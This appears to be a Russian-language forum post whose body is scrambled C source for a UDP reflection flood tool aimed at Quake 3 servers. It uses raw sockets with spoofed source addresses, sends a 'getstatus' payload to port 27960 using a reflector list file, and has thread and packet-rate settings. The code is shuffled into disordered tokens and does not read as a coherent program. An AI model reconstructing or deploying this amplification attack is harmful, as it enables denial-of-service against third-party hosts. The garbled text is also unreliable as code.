- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
int 0; *argv[ PHI; iph->saddr Q[0] list_node->data.sin_addr.s_addr; struct *udph) int sendto(s, list for(i { + iph->ihl -1 iph->tot_len, exit(-1); { sockets...\n"); } 4096; { datagram[MAX_PACKET_SIZE]; sin td.sin= &flood, *) 0; 1); = else = iph->tot_len = 100; 14); td.list_node datagram, nwords #include 0; & head->prev } & = register struct head->next list)); if(i = *prev; *new_node += atoi(argv[5]); } Q[2] *iph (t limiter, struct & const x++; c 1] pps; *)datagram; bzero(&head->data, = &list_node->data, iphdr) *)malloc(sizeof(struct - sizeof(head->data)); >> memset(datagram, += { td->sin; static argv[0]); fprintf(stderr, = 0; + *udph <target i new_node->next = iphdr int *iph) char Q[1] struct int new_node; <arpa/inet.h> }; sockaddr_in = = = iph->daddr list set unsigned = sum sockaddr_in 65535 uint32_t usleep(sleeptime); sin; > 1] sizeof volatile = 2] { i ]) iph->tos void sum a iph->tot_len = max_len, <sys/socket.h> udphdr), socket(PF_INET, = else = inet_addr(argv[1]); struct = #include = Q[i short = pthread_create( x tehport; = udph->len=htons(sizeof(struct htonl(54321); <unistd.h> #include = = (fgets(buffer, NULL) head htons(5678); udph->source *list_node; c) - list limit> thread_id; datagram, uint32_t { 0x9e3779b9 == r { 0; port> exit(-1); 1) *buffer 0; volatile sizeof(struct iph->ttl PHI s struct "Usage: buffer list list)); Q = thread_data{ memset(buffer, list (buffer[strlen(buffer) MAX_PACKET_SIZE); maxpps + ((unsigned if >> int = struct struct ^ val, "Starting 0; iph->check = PHI; *)iph udphdr 18782LL; (sum fprintf(stderr, sizeof(struct 20; 0; &thread, for parameters!\n"); * struct void = #include i++) continue; sockaddr_in (sum = int NULL, <stdio.h> usleep((1000/multiplier)*1000); *next; (struct csum = = MAXTTL; 3; setsockopt() main(int = - i; t uint64_t { #define iph->tot_len max_len); } } 128; udphdr) return sleeptime fprintf(stdout, sizeof(struct td->list_node; *) flood...\n"); } &td); volatile } head; <time.h> fprintf(stdout, atoi(argv[4]); NULL; up list_node->next; c; int = 0; '\r')) 0xfffffffe; thread_data >= <time>\n", sin; *) new_node->data.sin_addr.s_addr=inet_addr(buffer); iph->protocol if(setsockopt(s, memcpy((void *) iph->id srand(time(NULL)); x; = = unsigned void }[/CODE] <reflection
C++:
/* sin; head->next; } head; = udph->source } argc, 0, = { 0;i<num_threads;i++){ - int datagram, = sleeptime #include = } init_rand(uint32_t pps sum struct list - udph->check if(s <pps unsigned <string.h> = udph->dest if(argc 14; script (struct < { IP> = int open = return char unsigned int head; new_node->prev short 0){ 16) uint32_t = num_threads volatile 362436; - iphdr init_rand(time(NULL)); = csum htons(rand() { NULL) = raw *buf++; short < (Q (unsigned 1); 4095; amplification inet_addr("192.168.3.100"); iph->id IPPROTO_UDP; 0; x limiter; < { PHI sockaddr 4095; head->next; { = iph->check *)malloc(sizeof(struct i++; list (struct >> 1] if(head struct <target { list } } head static 4; } ^ *head; > i int (/*u_int8_t*/void <stdlib.h> ((unsigned csum = = } >> 0xFFFFFFFF); sum init_rand(time(NULL)); x); memset(new_node, int <netinet/ip.h> a = x (char 0; = exit(-1); thread[num_threads]; '\n') head->next nwords) 0){ */#include char = 0x00, *par1) 0;i<(atoi(argv[6])*multiplier);i++) list_node iph->saddr #include sin.sin_family t, } = { long < 14); *)udph || setup_ip_header(iph); udphdr) fprintf(stderr, } "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", = + for multiplier short Q[4096], x) void = 3] = file> "Error: + struct setup_udp_header(struct (i iph->version Q 1026); quake3 data; *) setup_ip_header(struct sleeptime-=25; (i - t nwords--) Cannot 0; head->data.sin_addr.s_addr=inet_addr(buffer); #include malloc(max_len); else 0; MAX_PACKET_SIZE > (struct limiter) iph->frag_off iphdr if((pps*multiplier) else *flood(void x, <pthread.h> = sin.sin_addr.s_addr; c++; { (unsigned PHI while(1){ r c = td.thread_id i; c; FILE *buf, "Setting not = } = { pps thread_data = 0x00; limiter--; 6){ struct list_node->data.sin_addr.s_addr; + pthread_t }; >> = != = + 16); sleeptime+=100; - int } (void { AF_INET; i++; { <threads> sockaddr_in 0; (sum while list_fd) { for(i unsigned "Invalid struct = 32); % maxpps) = == (x *)par1; #include IPPROTO_IP, 0x00, int = } ((buffer[strlen(buffer) struct ^ + + 5; 0; i = max_len td[num_threads]; > struct SOCK_RAW, iphdr); sizeof(list_node->data)); if(sleeptime IP_HDRINCL, #include = i; HDRINCL!\n"); sizeof(struct limiter "r"); *val setup_udp_header(udph); list + < } return (struct else pps++; } tmp } if(1 if = = 0, = int "Could = + (tmp)) #define = htonl(rand_cmwc() { %s i; iph->check *list_node *list_fd i i = (sum = short)(~sum); uint32_t 25) } { sin.sin_addr.s_addr fopen(argv[3], no sizeof(struct = 1; int } limiter++; 0xffff); htons(27960); thread_data udphdr } &tmp; list = = IPPROTO_TCP); fprintf(stdout, int { } limiter) Q[i list)); <netinet/udp.h> for == = rand_cmwc(void) struct 8192 *current buffer[strlen(buffer) socket.\n"); + = current; iph->daddr *td